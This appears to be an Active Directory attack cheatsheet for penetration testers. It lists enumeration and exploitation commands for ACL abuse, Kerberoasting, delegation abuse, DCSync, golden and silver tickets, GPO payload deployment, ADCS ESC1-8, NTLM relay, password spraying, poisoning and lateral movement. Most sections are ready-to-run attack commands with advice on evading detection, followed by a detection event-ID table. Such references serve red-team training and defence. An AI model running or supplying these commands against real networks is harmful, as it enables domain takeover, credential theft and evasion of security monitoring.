#sys.doc_init // root

1. ACL Abuse

Misconfigured permissions on AD objects (users, groups, computers, OUs) are the most common privesc path. Use BloodHound to find them fast.

1.1 GenericAll

Full control over the target object — reset passwords, change SPNs, modify group membership, set RBCD. The most dangerous ACL misconfiguration.

::Enumeration

~ / powershell

# Find objects where you have GenericAll

Get-DomainObjectAcl -Identity "target_user" -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'GenericAll' }

# Domain-wide scan (slow)

Get-DomainObjectAcl -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match 'GenericAll'} | Select-Object ObjectDN, Principal

::Exploitation

~ / powershell

Set-DomainUserPassword -Identity "target_user" -AccountPassword (ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force) -Verbose

# Alternative

net user target_user P@ssw0rd123! /domain

▲SYS.WARNING

OpSec: Password reset generates Event 4724, group changes generate 4728/4732 — both log your SID.

1.2 GenericWrite

Write to any non-protected attribute — set SPNs for Kerberoasting, change logon scripts, add group members, or configure RBCD on computers. Cannot modify the DACL itself (unlike GenericAll).

::Enumeration

~ / powershell

Get-DomainObjectAcl -Identity "target_user" -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'GenericWrite' }

# Check your own permissions

$mySid = (Get-DomainUser -Identity $env:USERNAME).objectsid

Get-DomainObjectAcl -ResolveGUIDs | ? {

$_.ActiveDirectoryRights -match 'GenericWrite' -and $_.SecurityIdentifier -match $mySid

} | Select-Object ObjectDN

::Exploitation

~ / powershell

# Set SPN on target user

Set-DomainObject -Identity "target_user" -Set @{servicePrincipalName='http/evil.target_user'} -Verbose

# Kerberoast it

Rubeus.exe kerberoast /spn:http/evil.target_user /domain:domain.local /dc:DC01.domain.local /outfile:kerberoast.hash

# Crack offline

hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt

# Clean up

Set-DomainObject -Identity "target_user" -Clear servicePrincipalName -Verbose

▲SYS.WARNING

OpSec: SPN changes generate Event 5136. Overwriting a real SPN breaks the legitimate service — always clean up.

1.3 WriteDacl

Modify the DACL of the target object — grant yourself any permission, including GenericAll or DCSync rights. WriteDacl on the domain object = game over.

::Enumeration

~ / powershell

Get-DomainObjectAcl -Identity "DC=domain,DC=local" -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'WriteDacl' }

Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'WriteDacl' }

::Exploitation

~ / powershell

# Grant yourself DCSync rights on the domain

Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity "$env:USERNAME" -Rights All -Verbose

# Or using dsacls

dsacls "DC=domain,DC=local" /G "DOMAIN\attacker:GA;;"

# Now DCSync

Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /all /csv"'

▲SYS.WARNING

OpSec: Modifying the domain DACL is extremely noisy — generates Event 5136 on the domain root. MDI detects this instantly.

1.4 WriteOwner

Change the owner of an object. The owner implicitly has WriteDacl, so: WriteOwner → take ownership → WriteDacl → grant GenericAll → full compromise.

::Enumeration

~ / powershell

Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'WriteOwner' }

::Exploitation

~ / powershell

# Take ownership

Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity "$env:USERNAME" -Verbose

# Grant yourself GenericAll (you're the owner now)

Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity "$env:USERNAME" -Rights GenericAll -Verbose

# Add yourself to the group

Add-DomainGroupMember -Identity "Domain Admins" -Members "$env:USERNAME" -Verbose

▲SYS.WARNING

OpSec: Owner change generates Event 5136. The original owner loses implicit rights — may trigger identity governance alerts.

1.5 Self (AddSelf)

Add yourself to a group directly — single-step escalation. If this is on a privileged group (Domain Admins, Server Operators), it's instant privilege escalation.

::Enumeration

~ / powershell

Get-DomainObjectAcl -ResolveGUIDs | ? {

$_.ActiveDirectoryRights -match 'Self' -and

$_.ObjectType -match 'bf9679c0-0de6-11d0-a285-00aa003049e2'

} | Select-Object ObjectDN, Principal

::Exploitation

~ / powershell

Add-DomainGroupMember -Identity "Target Group" -Members "$env:USERNAME" -Verbose

Get-DomainGroupMember -Identity "Target Group"

1.6 AllExtendedRights

All extended rights on the target — includes ForceChangePassword (reset password without knowing the current one). On user objects, this = instant account takeover.

::Enumeration

~ / powershell

Get-DomainObjectAcl -ResolveGUIDs | ? {

$_.ActiveDirectoryRights -match 'ExtendedRight' -and

$_.SecurityIdentifier -match $(ConvertTo-SID -ObjectName "$env:USERNAME")

} | Select-Object ObjectDN, ObjectType

# ForceChangePassword specifically (GUID: 00299570-246d-11d0-a768-00aa006e0529)

Get-DomainObjectAcl -Identity "target_user" -ResolveGUIDs | ? { $_.ObjectType -match '00299570-246d-11d0-a768-00aa006e0529' }

::Exploitation

~ / powershell

Set-DomainUserPassword -Identity "target_user" -AccountPassword (ConvertTo-SecureString 'NewP@ssw0rd!' -AsPlainText -Force) -Verbose

#sys.doc_init // root

2. Kerberos Attacks

These require no special privileges — any domain user can perform them. Crack the tickets offline at your leisure.

2.1 AS-REP Roasting

Targets accounts with "Do not require Kerberos preauthentication" enabled. The DC sends back an encrypted TGT without verifying the password first — crack it offline.

::Enumeration

~ / powershell

Get-DomainUser -PreauthNotRequired | Select-Object samaccountname, description, serviceprincipalname

::Exploitation

~ / powershell

# All vulnerable users

Rubeus.exe asreproast /domain:domain.local /dc:DC01.domain.local /outfile:asrep.hash /format:hashcat

# Specific user

Rubeus.exe asreproast /user:svc_target /domain:domain.local /dc:DC01.domain.local /outfile:asrep.hash /format:hashcat

▲SYS.WARNING

OpSec: Generates Event 4768 on the DC. Unauthenticated request — hard to attribute without packet capture.

2.2 Kerberoasting

Any domain user can request a service ticket for any SPN. The ticket is encrypted with the service account's NTLM hash — crack it offline. Target accounts with SPNs registered.

::Enumeration

~ / powershell

Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, description, pwdlastset

# High-value: SPN accounts with admin privileges

Get-DomainUser -SPN | ? { $_.admincount -eq 1 }

::Exploitation

~ / powershell

# All SPN accounts

Rubeus.exe kerberoast /domain:domain.local /dc:DC01.domain.local /outfile:kerberoast.hash /format:hashcat

# Specific SPN

Rubeus.exe kerberoast /spn:MSSQLSvc/DB01.domain.local:1433 /outfile:kerberoast.hash

# Crack

hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt

▲SYS.WARNING

OpSec: Generates Event 4769 per SPN. Rapid sequential requests are a detection signature — target only high-value SPNs.

#sys.doc_init // root

3. Delegation Abuse

Kerberos delegation lets a service impersonate users to other services. Misconfigured delegation = impersonate anyone to anything.

3.1 Unconstrained Delegation

A server with unconstrained delegation stores the TGT of every user that authenticates to it. Compromise the server → extract TGTs → impersonate anyone.

::Enumeration

~ / powershell

Get-DomainComputer -Unconstrained | Select-Object dnshostname, operatingsystem

::Exploitation

~ / powershell

# Monitor for incoming TGTs on the compromised server

Rubeus.exe monitor /interval:5 /filteruser:administrator /nowrap

# Force authentication from a DA (PetitPotam / PrinterBug)

Invoke-PetitPotam -Target WEB01.domain.local -Listener 10.0.0.100

# Extract TGTs from memory

Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

# Inject and use

Rubeus.exe ptt /ticket:administrator.kirbi

Enter-PSSession -ComputerName DC01.domain.local

▲SYS.WARNING

OpSec: Forced authentication (PetitPotam/PrinterBug) is the noisiest step — consider passive TGT monitoring instead.

3.2 Constrained Delegation

The server can only impersonate users to specific SPNs. With protocol transition (TrustedToAuthForDelegation), you can impersonate any user without them authenticating first.

::Enumeration

~ / powershell

Get-DomainComputer -TrustedToAuth | Select-Object dnshostname, msds-allowedtodelegateto

Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto

::Exploitation

~ / powershell

# S4U2Self + S4U2Proxy — impersonate admin to the delegated SPN

Rubeus.exe s4u /user:APP01$ /rc4:<MACHINE_ACCOUNT_NTLM> /impersonateuser:administrator /msdsspn:cifs/DC01.domain.local /domain:domain.local /dc:DC01.domain.local /ptt

# Access the target

ls \\DC01.domain.local\C$

▲SYS.WARNING

OpSec: S4U2Self/S4U2Proxy generate Event 4769 with the impersonated user's name and target SPN — fully visible to defenders.

3.3 Resource-Based Constrained Delegation (RBCD)

The resource (target) decides who can delegate to it via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. If you can write to a computer object (GenericAll/GenericWrite), you can configure RBCD and impersonate any user.

::Enumeration

~ / powershell

# Find computers you can write to

Get-DomainComputer | % {

$acl = Get-DomainObjectAcl -Identity $_.samaccountname -ResolveGUIDs

$acl | ? { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite' -and $_.Principal -match $env:USERNAME }

} | Select-Object ObjectDN

# Check existing RBCD config

Get-DomainComputer -Identity "TARGET" | Select-Object msDS-AllowedToActOnBehalfOfOtherIdentity

::Exploitation

~ / powershell

# Step 1: Create machine account

New-MachineAccount -MachineAccount "FAKE$" -Password $(ConvertTo-SecureString 'P@ss1234!' -AsPlainText -Force)

# Step 2: Set RBCD on target

$SD = New-ADSecurityDescriptor -Principal "FAKE$" -Right "All" -Target "TARGET$"

$SDBytes = Get-SDRawBytes -SD $SD

Set-DomainObject -Identity "TARGET$" -Set @{"msDS-AllowedToActOnBehalfOfOtherIdentity"=$SDBytes} -Verbose

# Step 3: S4U to impersonate admin

Rubeus.exe s4u /user:FAKE$ /rc4:<NTLM_HASH> /impersonateuser:administrator /msdsspn:cifs/TARGET.domain.local /domain:domain.local /dc:DC01.domain.local /ptt

Enter-PSSession -ComputerName TARGET.domain.local

▲SYS.WARNING

OpSec: New machine account (Event 4741) + immediate RBCD attribute change (Event 5136) + S4U requests (Event 4769) — strong detection signature.

#sys.doc_init // root

4. Domain Dominance

Post-DA techniques for persistence and full credential extraction. Once you're here, the domain is owned.

4.1 DCSync

Simulate a Domain Controller and replicate all password hashes from AD. Requires Replicating Directory Changes + Replicating Directory Changes All permissions (default for DA/EA/DC).

::Enumeration

~ / powershell

# Check who has DCSync rights

$guid1 = "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes

$guid2 = "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes-All

Get-DomainObjectAcl -Identity "DC=domain,DC=local" -ResolveGUIDs | ? {

$_.ObjectType -match $guid1 -or $_.ObjectType -match $guid2

} | Select-Object Principal

::Exploitation

~ / powershell

# Full domain dump

Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /all /csv"'

# Specific user (e.g., krbtgt for Golden Ticket)

Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /user:KRBTGT"'

▲SYS.WARNING

OpSec: Generates Event 4662 with DCSync GUID. MDI (Microsoft Defender for Identity) detects DCSync from non-DC sources as high-severity.

4.2 Golden Ticket

Forge a TGT using the krbtgt NTLM hash. Grants unrestricted access to everything in the domain. Survives all password resets except krbtgt rotation (must be reset twice).

Prerequisites: krbtgt NTLM hash + domain SID

::Exploitation

~ / powershell

# Get domain SID

Get-DomainSID -Domain domain.local

# Get krbtgt hash (via DCSync)

Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /user:KRBTGT"'

# Forge and inject Golden Ticket

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-XXXXXXXXXX /krbtgt:<KRBTGT_NTLM_HASH> /ptt"'

# AES256 key is stealthier (RC4 is more closely monitored)

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-XXXXXXXXXX /aes256:<KRBTGT_AES256_KEY> /ptt"'

▲SYS.WARNING

OpSec: Nearly impossible to detect — the TGT is cryptographically valid. Defenders look for: abnormal ticket lifetimes, PAC inconsistencies, and Credential Guard.

4.3 Silver Ticket

Forge a Service Ticket (TGS) using a machine account NTLM hash. Grants access to specific services on that machine only. Even harder to detect than Golden Tickets because TGS isn't validated by the KDC.

::Exploitation

~ / powershell

# Get machine account hash

secretsdump.py domain.local/attacker:'Password123!'@10.0.0.1 -just-dc-user 'TARGET$'

# CIFS access (file shares)

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-XXXXXXXXXX /target:TARGET.domain.local /service:cifs /rc4:<MACHINE_NTLM_HASH> /ptt"'

# LDAP access to DC (DCSync-like)

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-XXXXXXXXXX /target:DC01.domain.local /service:ldap /rc4:<DC_MACHINE_HASH> /ptt"'

ls \\TARGET.domain.local\C$

▲SYS.WARNING

OpSec: Nearly undetectable — TGS is validated only by the target service, not the KDC. Enable ValidateKdcPacSignature registry key on critical servers to defend.

#sys.doc_init // root

5. GPO Abuse

If you can write to a GPO (GenericAll/GenericWrite on the GPO object), you can push malicious config to every machine in the GPO's scope — local admin, scheduled tasks, logon scripts, software deployment.

::Enumeration

~ / powershell

# Find GPOs you can modify

Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? {

$_.SecurityIdentifier -match $(ConvertTo-SID -ObjectName "$env:USERNAME") -and

$_.ActiveDirectoryRights -match 'Write|FullControl|GenericAll'

} | Select-Object ObjectDN

# Check GPO scope (which OUs it applies to)

Get-DomainOU -GPLink "{GPO-GUID}" | Select-Object name, distinguishedname

::Exploitation

~ / powershell

# Add local admin via GPO

SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "attacker" --GPOName "VULN-GPO"

# Deploy scheduled task (SYSTEM)

SharpGPOAbuse.exe --AddScheduledTask --TaskName "UpdateTask" --Command "powershell.exe" --Arguments "-enc <BASE64_PAYLOAD>" --GPOName "VULN-GPO"

# Deploy logon script

SharpGPOAbuse.exe --AddUserScript --ScriptName "payload.ps1" --GPOName "VULN-GPO"

# Force GPO refresh

Invoke-GPUpdate -ComputerName TARGET -Force

▲SYS.WARNING

OpSec: GPO version number increments on every change. SYSVOL modifications + widespread policy reapplication (Event 5312) = strong detection signature.

#sys.doc_init // root

6. ADCS — ESC1 through ESC8

AD Certificate Services misconfigurations let you request certificates as any user — turning a cert into a password equivalent. ESC1 is the most common and impactful.

ESC1 — Template Substitution (Most Common)

A template is vulnerable if it has: Client Authentication EKU + ENROLLEE_SUPPLIES_SUBJECT enabled + no manager approval + you have enrollment rights. Request a cert as administrator@domain.local.

~ / powershell

Certify.exe find /vulnerable

Certify.exe find /enrolleesuppliessubject

ESC2 — Any Purpose EKU

Same as ESC1, but the template has no EKU or Any Purpose EKU (2.5.29.37.0) — the cert can be used for anything. Same exploitation as ESC1.

ESC3 — Enrollment Agent

Two-step attack: request an Enrollment Agent certificate → use it to request a cert on behalf of another user.

~ / powershell

Certify.exe request /ca:CA01.domain.local\domain-CA /template:EnrollmentAgent

Certify.exe request /ca:CA01.domain.local\domain-CA /template:VulnTemplate /onbehalfof:administrator /enrollmentagentcert:<base64_cert>

ESC4 — Writable Certificate Template

You have write permissions on a template object → modify it to become ESC1-vulnerable → exploit as ESC1.

~ / powershell

# Make the template vulnerable

Set-DomainObject -Identity "CN=TargetTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Set @{

msPKI-Enrollment-Supply-Subject = $true

} -Verbose

# Then exploit as ESC1

Certify.exe request /ca:CA01.domain.local\domain-CA /template:TargetTemplate /altname:administrator@domain.local

ESC5 — PKI Enrollment Misconfiguration

Misconfigured enrollment endpoints or PKI infrastructure permissions. Broad category — check CA security descriptors and web enrollment service configs.

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

CA-level flag that lets you supply arbitrary SANs on any template — makes every Client Auth template ESC1-equivalent.

~ / powershell

Certify.exe ca

# Look for EDITF_ATTRIBUTESUBJECTALTNAME2 (flag 0x80000)

ESC7 — Vulnerable Certificate Authority

You have ManageCA or ManageCertificates permissions on the CA itself → enable ESC6 flag, approve pending requests, or issue certs directly.

~ / powershell

# Enable EDITF_ATTRIBUTESUBJECTALTNAME2 (requires ManageCA)

certutil -setreg CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

# Then exploit as ESC6

Certify.exe request /ca:CA01.domain.local\domain-CA /template:User /altname:administrator@domain.local

# Approve pending request (requires ManageCertificates)

certutil -resubmit <request_id>

ESC8 — NTLM Relay to AD CS

Relay NTLM auth to the CA's HTTP enrollment endpoint → get a certificate as the relayed user. Chain with PetitPotam/PrinterBug for domain compromise.

~ / bash

# Start relay

impacket-ntlmrelayx -smb2support -target http://CA01.domain.local/certsrv/mscep/mscep.dll -adcs --template 'VulnTemplate'

# Trigger auth from a privileged user

python3 PetitPotam.py -d domain.local -u attacker -p 'Password123!' 10.0.0.100 CA01.domain.local

# Use the relayed cert

certipy-ad auth -pfx relayed_cert.pfx -dc-ip 10.0.0.1

▲SYS.WARNING

OpSec: ADCS attacks generate Event 4886/4887 on the CA. Requesting a cert for administrator while logged in as a low-priv user is obvious in logs.

#sys.doc_init // root

Quick Reference: Attack Path Decision Matrix

Starting Condition	Attack	Tools
Any domain user	Kerberoast / AS-REP Roast	Rubeus, Impacket
GenericAll on user	Password reset	PowerView, bloodyAD
GenericAll on group	Add self to group	PowerView, bloodyAD
GenericAll/Write on computer	RBCD	PowerMad + Rubeus, bloodyAD
WriteDacl on domain	Self-grant DCSync	PowerView, dsacls
Constrained delegation (S4U)	S4U2Self + S4U2Proxy	Rubeus, Impacket
Unconstrained delegation	TGT extraction	Mimikatz, Rubeus
DA-equivalent access	DCSync → Golden Ticket	Mimikatz, secretsdump
Computer account hash	Silver Ticket	Mimikatz, ticketer
GPO write access	Local admin / scheduled task	SharpGPOAbuse
ADCS ESC1 template	Request cert as admin	Certify, Certipy
ADCS ESC4 template	Modify template + ESC1	Certipy, PowerView
ADCS ESC6 CA flag	Any template → ESC1	Certify, Certipy
ADCS ESC8 relay	Relay to CA enrollment	ntlmrelayx, PetitPotam

#sys.doc_init // root

Detection & Event IDs

Event ID	Log Source	Attack Type	Description
4662	Security	DCSync / ACL abuse	Object accessed with extended rights
4670	Security	WriteDacl / WriteOwner	Permissions changed on an object
4724	Security	Password reset	Password was reset
4728	Security	Group modification	Member added to global security group
4732	Security	Group modification	Member added to local security group
4738	Security	Account change	User account was changed
4741	Security	RBCD	Computer account created
4768	Security	AS-REP Roast / Golden Ticket	Kerberos TGT request
4769	Security	Kerberoast / Delegation	Kerberos TGS request
4886	CA Audit	ADCS	Certificate request submitted
4887	CA Audit	ADCS	Certificate issued
5136	Security	ACL / RBCD / GPO	Directory object modified
5312	Security	GPO abuse	Group Policy applied on target

#sys.doc_init // root

7. External Reconnaissance

Passive intelligence gathering before touching the target network. No direct interaction with the target's infrastructure.

7.1 Passive Domain & Infrastructure Discovery

▹ASN/IP Registrars: IANA, ARIN, RIPE, BGP Toolkit
▹DNS Utilities: Domaintools, PTRArchive, viewdns.info, ICANN
▹Breach Data & Credentials: HaveIBeenPwned, Dehashed, Greyhat Warfare, Trufflehog

7.2 Actionable Commands

~ / bash

# File and Email Discovery

filetype:pdf inurl:domain.com

intext:"@domain.com" inurl:domain.com

▲SYS.WARNING

OpSec: Passive recon generates no alerts on the target. Breach data queries may log your IP on third-party platforms.

#sys.doc_init // root

8. Internal Network Recon & Unauthenticated Enumeration

First steps after landing on the internal network — no credentials required.

8.1 Host Discovery & Packet Sniffing

~ / bash

# Packet sniffing for ARP, MDNS, LLMNR, NBT-NS broadcasts

sudo tcpdump -i ens224

# Active Ping Sweep (Quiet output)

fping -asgq 172.16.5.0/23

# Initial Nmap Scan (Focus on DNS, SMB, LDAP, Kerberos, RPC)

sudo nmap -v -A -iL hosts.txt -oN host-enum.txt

8.2 Unauthenticated User Enumeration

~ / bash

# Kerberos Pre-Auth User Validation (Fast, stealthy)

kerbrute userenum -d domain.local --dc <DC_IP> usernames.txt -o valid_ad_users.txt

8.3 Unauthenticated Password Policy Extraction

~ / bash

crackmapexec smb <DC_IP> -u "" -p "" --pass-pol

enum4linux -P <DC_IP>

enum4linux-ng -P <DC_IP> -oA output

rpcclient -U "" -N <DC_IP> -c getdompwinfo

▲SYS.WARNING

OpSec: Kerberos enumeration (Kerbrute) generates Event 4768 but avoids lockout. SMB NULL session attempts generate Event 4625. Check password policy first to avoid lockouts.

#sys.doc_init // root

9. Password Spraying

Try a small set of passwords against many accounts. Always check the password policy first to avoid lockouts.

9.1 Target List Generation

~ / bash

# Bash one-liner for username permutations

for x in {{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}}; do echo $x; done > targets.txt

9.2 Execution

~ / bash

for u in $(cat valid_users.txt); do rpcclient -U "$u%Password123!" -c "getusername;quit" <DC_IP> | grep Authority; done

▲SYS.WARNING

OpSec: SMB spraying generates Event 4625 per failed attempt. Kerbrute avoids this but still increments the bad password count. Respect the lockout threshold and observation window.

#sys.doc_init // root

10. Network Poisoning (LLMNR / NBT-NS)

Poison name resolution broadcasts to capture NTLMv2 hashes from users authenticating to non-existent hosts.

10.1 Responder (Linux)

~ / bash

# Listen only — no poisoning

sudo responder -I eth0 -A

10.2 Inveigh (Windows)

~ / powershell

Import-Module .\Inveigh.ps1

Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y

10.3 Cracking Captured NTLMv2 Hashes

~ / bash

hashcat -m 5600 hash.txt wordlist.txt

▲SYS.WARNING

OpSec: Active poisoning is detectable by network monitoring (duplicate responses, suspicious LLMNR/NBT-NS replies). Use passive analysis mode first to assess the environment.

#sys.doc_init // root

11. Credentialed Enumeration

With valid domain credentials — enumerate users, groups, shares, sessions, and graph the full attack surface.

11.1 CrackMapExec (CME)

~ / bash

# Enumerate Users & Bad Password Counts

crackmapexec smb <DC_IP> -u <user> -p <pass> --users

# Enumerate Groups

crackmapexec smb <DC_IP> -u <user> -p <pass> --groups

11.2 SMBMap

~ / bash

# List shares

smbmap -u <user> -p <pass> -d <domain> -H <Target_IP>

# Recursive directory listing on a specific share

smbmap -u <user> -p <pass> -d <domain> -H <Target_IP> -R 'ShareName' --dir-only

11.3 Windapsearch

~ / bash

# Enumerate Domain Admins

python3 windapsearch.py --dc-ip <DC_IP> -u <domain>\\<user> -p <pass> --da

# Enumerate Privileged Users (Recursive Nested Group Search)

python3 windapsearch.py --dc-ip <DC_IP> -u <domain>\\<user> -p <pass> -PU

11.4 BloodHound Ingestors

~ / bash

bloodhound-python -u '<user>' -p '<pass>' -ns <DC_IP> -d <domain> -c all

zip -r domain_bh.zip *.json

11.5 Windows Native & PowerView

Bypass EDR trigger: Use net1 instead of net.

~ / powershell

net1 group /domain

net1 user /domain <username>

▲SYS.WARNING

OpSec: BloodHound/SharpHound generates thousands of LDAP queries — detectable by MDI and SIEM. Use targeted collection (-c Session,ACL) instead of -c All when stealth matters.

#sys.doc_init // root

12. Lateral Movement & Remote Access

Moving between hosts after obtaining credentials or hashes.

12.1 Remote Connections

~ / bash

# PSExec (SYSTEM shell, noisy — writes a service binary)

psexec.py <domain>/<user>:<pass>@<Target_IP>

# WMIExec (Semi-interactive, stealthier, runs as user)

wmiexec.py <domain>/<user>:<pass>@<Target_IP>

# SMBExec

smbexec.py <domain>/<user>:<pass>@<Target_IP>

12.2 SQL Server Execution

~ / bash

# Connect to SQL via Impacket

mssqlclient.py <domain>/<user>:<pass>@<Target_IP> -windows-auth

# Enable Command Execution in SQL shell

SQL> enable_xp_cmdshell

SQL> xp_cmdshell whoami /priv

▲SYS.WARNING

OpSec: PSExec creates a service (Event 7045) and writes a binary to ADMIN$. WMIExec is stealthier but still generates Event 4688 (process creation). Evil-WinRM uses WinRM (Event 91/168).

#sys.doc_init // root

13. Living Off The Land / Host Recon

Post-compromise host reconnaissance and evasion using built-in tools.

13.1 Environment & Network Checks

~ / cmd

hostname

[System.Environment]::OSVersion.Version

wmic qfe get Caption,Description,HotFixID,InstalledOn

ipconfig /all

route print

arp -a

netsh advfirewall show allprofiles

qwinsta # Shows active logged-in RDP/Console sessions

13.2 Evasion Techniques

~ / cmd

# Downgrade PowerShell to V2 to bypass Script Block Logging

powershell.exe -version 2

13.3 WinRM "Double Hop" Workarounds

~ / powershell

$SecPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\User', $SecPassword)

Get-DomainUser -spn -Credential $Cred

▲SYS.WARNING

OpSec: PowerShell V2 downgrade generates Event 400/403 in the PowerShell log. PSSession configuration changes generate Event 91.

#sys.doc_init // root

14. Cross-Forest / Trust Abuse

Enumerating and abusing trust relationships between domains and forests.

14.1 Trust Enumeration

~ / powershell

Get-DomainTrust

Get-DomainTrustMapping

Get-DomainForeignGroupMember -Domain <Trusted_Domain>

14.2 ExtraSids Attack (Child → Parent Domain Compromise)

Requires full compromise of the child domain (KRBTGT hash).

~ / bash

# 1. Get Child Domain SID

lookupsid.py <child_domain>/<admin>@<DC_IP> | grep "Domain SID"

# 2. Get Parent Enterprise Admins SID

lookupsid.py <child_domain>/<admin>@<DC_IP> | grep -B12 "Enterprise Admins"

# 3. Forge Golden Ticket with ExtraSids

ticketer.py -nthash <Child_KRBTGT_Hash> -domain <child_domain> -domain-sid <Child_SID> -extra-sid <Parent_EnterpriseAdmins_SID> fakeuser

# 4. Use Ticket

export KRB5CCNAME=fakeuser.ccache

psexec.py <parent_domain>/fakeuser@<Parent_DC_IP> -k -no-pass

# Alternative Automated Script

raiseChild.py -target-exec <Parent_DC_IP> <child_domain>/<admin>

▲SYS.WARNING

OpSec: ExtraSids tickets contain SID history from another domain — MDI detects this as "Suspicious SID-History addition." The forged ticket also generates abnormal Event 4769 with cross-domain SIDs.

#sys.doc_init // root

15. GPP & SYSVOL Misconfigurations

Group Policy Preferences (GPP) stored passwords in SYSVOL encrypted with a publicly known AES key (MS14-025). Legacy environments may still have these artifacts.

~ / bash

crackmapexec smb <DC_IP> -u <user> -p <pass> -M gpp_password

crackmapexec smb <DC_IP> -u <user> -p <pass> -M gpp_autologin

▲SYS.WARNING

OpSec: Accessing SYSVOL is normal domain behavior and generates minimal logging. The GPP passwords may be stale — always verify credentials before using them.

#sys.doc_init // root

16. Advanced Exploits

16.1 NoPac — SamAccountName Spoofing (CVE-2021-42278 / CVE-2021-42287)

Exploits the lack of validation when renaming a computer account to match a Domain Controller's sAMAccountName. Combined with Kerberos PAC confusion to impersonate a DC.

~ / bash

sudo python3 scanner.py <domain>/<user>:<pass> -dc-ip <DC_IP> -use-ldap

16.2 PetitPotam — NTLM Relay to ADCS (CVE-2021-36942)

Force a DC to authenticate to your relay, then relay to the ADCS web enrollment endpoint to obtain a certificate as the DC machine account.

~ / bash

# 1. Setup NTLM Relay targeting ADCS Web Enrollment

sudo ntlmrelayx.py -debug -smb2support --target http://<CA_IP>/certsrv/certfnsh.asp --adcs --template DomainController

# 2. Trigger Authentication via PetitPotam

python3 PetitPotam.py <Attacker_IP> <DC_IP>

# 3. Request TGT using captured Base64 Certificate

python3 gettgtpkinit.py <domain>/<DC_NAME>\$ -pfx-base64 <Base64_Cert_String> dc01.ccache

# 4. Use TGT for DCSync

export KRB5CCNAME=dc01.ccache

secretsdump.py -just-dc-user <domain>/administrator -k -no-pass "<DC_NAME>$"@<DC_IP>

▲SYS.WARNING

OpSec: PetitPotam triggers NTLM authentication from the DC (Event 4624 Type 3). The relay generates Event 4886/4887 on the CA. Patched in KB5005413 — but many environments remain vulnerable.

Active Directory Enumeration & Attacks Cheatsheet

1. ACL Abuse

1.1 GenericAll

::Enumeration

::Exploitation

1.2 GenericWrite

::Enumeration

::Exploitation

1.3 WriteDacl

::Enumeration

::Exploitation

1.4 WriteOwner

::Enumeration

::Exploitation

1.5 Self (AddSelf)

::Enumeration

::Exploitation

1.6 AllExtendedRights

::Enumeration

::Exploitation

2. Kerberos Attacks

2.1 AS-REP Roasting

::Enumeration

::Exploitation

2.2 Kerberoasting

::Enumeration

::Exploitation

3. Delegation Abuse

3.1 Unconstrained Delegation

::Enumeration

::Exploitation

3.2 Constrained Delegation

::Enumeration

::Exploitation

3.3 Resource-Based Constrained Delegation (RBCD)

::Enumeration

::Exploitation

4. Domain Dominance

4.1 DCSync

::Enumeration

::Exploitation

4.2 Golden Ticket

::Exploitation

4.3 Silver Ticket

::Exploitation

5. GPO Abuse

::Enumeration

::Exploitation

6. ADCS — ESC1 through ESC8

ESC1 — Template Substitution (Most Common)

ESC2 — Any Purpose EKU

ESC3 — Enrollment Agent

ESC4 — Writable Certificate Template

ESC5 — PKI Enrollment Misconfiguration

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

ESC7 — Vulnerable Certificate Authority

ESC8 — NTLM Relay to AD CS

Quick Reference: Attack Path Decision Matrix

Detection & Event IDs

7. External Reconnaissance

7.1 Passive Domain & Infrastructure Discovery

7.2 Actionable Commands

8. Internal Network Recon & Unauthenticated Enumeration

8.1 Host Discovery & Packet Sniffing

8.2 Unauthenticated User Enumeration

8.3 Unauthenticated Password Policy Extraction

9. Password Spraying

9.1 Target List Generation

9.2 Execution

10. Network Poisoning (LLMNR / NBT-NS)

10.1 Responder (Linux)

10.2 Inveigh (Windows)

10.3 Cracking Captured NTLMv2 Hashes

11. Credentialed Enumeration

11.1 CrackMapExec (CME)

11.2 SMBMap

11.3 Windapsearch

11.4 BloodHound Ingestors

11.5 Windows Native & PowerView

12. Lateral Movement & Remote Access